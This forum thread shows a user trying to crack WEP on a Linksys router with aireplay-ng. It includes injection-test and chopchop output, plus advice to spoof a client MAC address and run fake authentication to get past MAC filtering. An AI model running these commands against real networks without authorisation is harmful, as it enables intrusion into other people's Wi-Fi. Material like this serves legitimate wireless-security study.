Originally Posted by
pureh@te
I didn't see you post the result of a -9 injection test. Headshot.
Also try the -4 attack
------Test (-9) Output--------
Code:
bt ~ # aireplay-ng -9 wlan0
10:10:45 Trying broadcast probe requests...
10:10:45 Injection is working!
10:10:47 Found 1 AP
10:10:47 Trying directed probe requests...
10:10:47 00:18:39:21:D2:** - channel: 4 - 'Wifi | Network'
10:10:50 Ping (min/avg/max): 0.451ms/99.206ms/155.316ms Power: 47.93
10:10:50 30/30: 100%
-----Output -4 Attack-------
Code:
aireplay-ng -4 -b 00:18:39:21:D2:** -h 00:1D:4F:41:2A:** wlan0
10:29:06 Waiting for beacon frame (BSSID: 00:18:39:21:D2:**) on channel 4
Read 74 packets...
Size: 92, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:18:39:21:D2:**
Dest. MAC = 00:1D:4F:41:2A:**
Source MAC = 00:18:39:21:D2:**
0x0000: 0842 7b00 001d 4f41 2af1 0018 3921 d268 .B{...OA*...9!.h
0x0010: 0018 3921 d268 202a 3fa1 2500 7520 feed ..9!.h *?.%.u ..
0x0020: 52f7 d19d 5085 4ebc 3b12 11d8 8602 16ea R...P.N.;.......
0x0030: 3b49 4a52 3470 4491 f6c7 24d7 9d5d e388 ;IJR4pD...$..]..
0x0040: 2728 ac0f 64ed 26fa 4dc4 95cd 9822 eeb5 '(..d.&.M...."..
0x0050: cdf6 9f6a 05e6 898e 4035 f323 ...j....@5.#
Use this packet ? y
Saving chosen packet in replay_src-0104-102912.cap
Sent 9853 packets, current guess: 56...
The chopchop attack appears to have failed. Possible reasons:
* You're trying to inject with an unsupported chipset (Centrino?).
* The driver source wasn't properly patched for injection support.
* You are too far from the AP. Get closer or reduce the send rate.
* Target is 802.11g only but you are using a Prism2 or RTL8180.
* The wireless interface isn't setup on the correct channel.
* The client MAC you have specified is not currently authenticated.
Try running another aireplay-ng to fake authentication (attack "-1").
* The AP isn't vulnerable when operating in authenticated mode.
Try aireplay-ng in non-authenticated mode instead (no -h option).
Originally Posted by
merlin051
I've had this result when have mac filtering is enabled, change your mac to match a client mac, or a mac that you know is allowed.
What model AP is it your trying to crack?
Try running; aireplay-ng -1 30 -q 1 -a APMAC -h WIFIMAC wlan0
Do you get any de-asociation packets when you start the frag attack?
Code:
00:1D:4F:41:2A:** = Connected Client
00:18:39:21:D2:** = Router
aireplay-ng -1 30 -q 1 -a 00:18:39:21:D2:** -h 00:1D:4F:41:2A:** wlan0
The interface MAC (00:C0:CA:19:E1:11) doesn't match the specified MAC (-h).
ifconfig wlan0 hw ether 00:1D:4F:41:2A:**
10:17:46 Waiting for beacon frame (BSSID: 00:18:39:21:D2:**) on channel 4
10:17:46 Sending Authentication Request (Open System) [ACK]
10:17:46 Authentication successful
10:17:46 Sending Association Request [ACK]
10:17:46 Association successful :-)
10:17:47 Sending keep-alive packet [ACK]
10:17:48 Sending keep-alive packet [ACK]
Keeps on going until 30 is reached
My Router Mode: Linksys wrt300n (WEP Encryption)
Still nothing 
